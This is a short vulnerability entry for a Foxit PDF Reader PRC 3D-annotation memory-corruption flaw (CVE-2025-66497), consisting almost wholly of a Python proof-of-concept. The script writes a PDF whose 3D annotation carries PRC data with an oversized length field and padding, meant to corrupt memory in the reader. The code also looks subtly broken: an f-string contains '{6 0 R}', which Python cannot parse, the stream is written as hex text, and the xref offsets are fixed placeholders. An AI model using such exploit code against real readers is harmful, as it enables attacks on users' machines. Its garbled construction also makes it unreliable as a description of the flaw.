Foxit PDF Reader 3D注释PRC数据解析内存损坏漏洞(CVE-2025-66497)

#!/usr/bin/env python3 # CVE-2025-66497 PoC - Malformed PRC data in PDF 3D annotation # This PoC generates a PDF file with malformed PRC data to trigger memory corruption import struct import sys def create_malformed_prc_data(): """ Create malformed PRC data that triggers boundary check failure in Foxit PDF Reader's 3D annotation parsing """ # PRC header with oversized data field prc_header = b'PRC1' # Malformed size field - causes buffer overflow prc_size = struct.pack('>I', 0xFFFFFFFF) # Oversized length # Malformed content with crafted data pattern prc_content = b'A' * 10000 + b'\xDE\xAD\xBE\xEF' * 100 return prc_header + prc_size + prc_content def create_poc_pdf(): """ Generate a minimal PDF with 3D annotation containing malformed PRC data """ malformed_prc = create_malformed_prc_data() # Basic PDF structure with 3D annotation pdf_content = f"""%PDF-1.7 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R /Annots [5 0 R] >> endobj 4 0 obj << /Length 44 >> stream BT /F1 12 Tf 100 700 Td (CVE-2025-66497 Test) Tj ET endstream endobj 5 0 obj [ << /Type /Annot /Subtype /3D /Rect [0 0 612 792] /3DD {6 0 R} /3DV << /ON true >> >> ] endobj 6 0 obj << /Type /3D /Subtype /PRC /Length {len(malformed_prc)} >> stream {malformed_prc.hex()} endstream endobj xref 0 7 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000264 00000 n 0000000380 00000 n 0000000500 00000 n trailer << /Size 7 /Root 1 0 R >> startxref {700 + len(malformed_prc)} %%EOF""" return pdf_content if __name__ == '__main__': print('[+] Generating PoC PDF for CVE-2025-66497') pdf = create_poc_pdf() output_file = 'CVE-2025-66497-poc.pdf' with open(output_file, 'wb') as f: f.write(pdf.encode('latin-1')) print(f'[+] PoC PDF saved to: {output_file}') print('[!] Note: This PoC triggers memory corruption in Foxit PDF Reader')